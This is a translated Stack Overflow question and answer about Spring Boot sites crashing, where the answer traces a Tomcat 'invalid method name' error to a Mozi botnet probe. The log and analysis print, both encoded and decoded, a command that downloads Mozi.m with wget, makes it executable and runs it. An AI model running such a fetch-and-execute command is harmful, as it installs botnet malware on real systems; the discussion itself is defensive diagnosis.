首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >无法识别的方法名称崩溃springboot站点

无法识别的方法名称崩溃springboot站点
EN

Stack Overflow用户
提问于 2022-01-18 06:04:28
回答 1查看 342关注 0票数 -2

我有几个使用springs引导构建的站点,并在带有Docker的EC2实例上部署。经过一段时间后,所有这些网站都会崩溃。当我检查Docker容器日志时,我看到IllegalArgumentExceptions和这个类似,它的方法名很长,看上去很神秘。知道是什么导致的吗?部署是一个带有Docker构建一个springboot容器、一个mysql容器和一个mysql备份容器的EC2实例。

代码语言:javascript
复制
java.lang.IllegalArgumentException: Invalid character found in method name [27;wget%20http://%s:%d/Mozi.m%20-O%20->%20/tmp/Mozi.m;chmod%20777%20/tmp/Mozi.m;/tmp/Mozi.m%20dlink.mips%27$]. HTTP method names must be tokens
    at org.apache.coyote.http11.Http11InputBuffer.parseRequestLine(Http11InputBuffer.java:417) ~[tomcat-embed-core-9.0.39.jar!/:9.0.39]
    at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:261) ~[tomcat-embed-core-9.0.39.jar!/:9.0.39]
    at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:65) [tomcat-embed-core-9.0.39.jar!/:9.0.39]
    at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:868) [tomcat-embed-core-9.0.39.jar!/:9.0.39]
    at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1590) [tomcat-embed-core-9.0.39.jar!/:9.0.39]
    at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49) [tomcat-embed-core-9.0.39.jar!/:9.0.39]
    at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) [na:1.8.0_212]
    at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) [na:1.8.0_212]
    at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) [tomcat-embed-core-9.0.39.jar!/:9.0.39]
    at java.lang.Thread.run(Thread.java:748) [na:1.8.0_212]
EN

回答 1

Stack Overflow用户

发布于 2022-01-18 07:02:08

TL;DR

您的系统/路由器受到攻击--看起来有人试图安装“墨子恶意软件”--参见https://blog.lumen.com/new-mozi-malware-family-quietly-amasses-iot-bots/

详细信息

调用tomcat时使用的不是真正的HTML方法。所以打电话的人--不管是什么--都会做非常奇怪的事情。它看起来像是发送了一个脚本,而不是HTTP消息。

...After有一段时间所有这些网站都会.

看起来像是拒绝服务,因为网络流量非常糟糕。

分析

让我们分析您的输出:

代码语言:javascript
复制
java.lang.IllegalArgumentException: Invalid character found in method name [27;wget%20http://%s:%d/Mozi.m%20-O%20->%20/tmp/Mozi.m;chmod%20777%20/tmp/Mozi.m;/tmp/Mozi.m%20dlink.mips%27$]. HTTP method names must be tokens
    at org.apache.coyote.http11.Http11InputBuffer.parseRequestLine(Http11InputBuffer.java:417) ~[tomcat-embed-core-9.0.39.jar!/:9.0.39]

阅读我们看到的实现

代码语言:javascript
复制
// from Http11InputBuffer.java ... (tomcat-embed-core-9.0.48.jar)

    // Avoid unknown protocol triggering an additional error
    request.protocol().setString(Constants.HTTP_11);
    String invalidMethodValue = parseInvalid(parsingRequestLineStart, byteBuffer);
    throw new IllegalArgumentException(sm.getString("iib.invalidmethod", invalidMethodValue));

//...

具有包含以下内容的消息属性文件:

代码语言:javascript
复制
iib.invalidmethod=Invalid character found in method name [{0}]. HTTP method names must be tokens

而给定的异常字符串(0)是:

27;wget%20http://%s:%d/Mozi.m%20-O%20->%20/tmp/Mozi.m;chmod%20777%20/tmp/Mozi.m;/tmp/Mozi.m%20dlink.mips%27$

未编码的:

代码语言:javascript
复制
'wget http://%s:%d/Mozi.m -O -> /tmp/Mozi.m;chmod 777  /tmp/Mozi.m;/tmp/Mozi.m dlink.mips $'

看起来像一个脚本被发送,它试图获取一个叫做"Mozi.m“的东西,使它可以执行并调用它.ups..。

So....doing关于“Mozi.m”的一个简单的网络研究.我发现:

因此,看来有人用大量的HTTP请求攻击路由器,试图闯入。路由器转发恶意请求和tomcat确实处理和拒绝它们(正确),但有太多的请求,系统就会崩溃。

进一步步骤

咨询您的网络安全部门或咨询安全专家,并尽快调查发生了什么,以及您的系统是否被篡改/劫持。

海事组织应先对这些请求进行过滤,然后再对其进行过滤。

票数 4
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/70750961

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档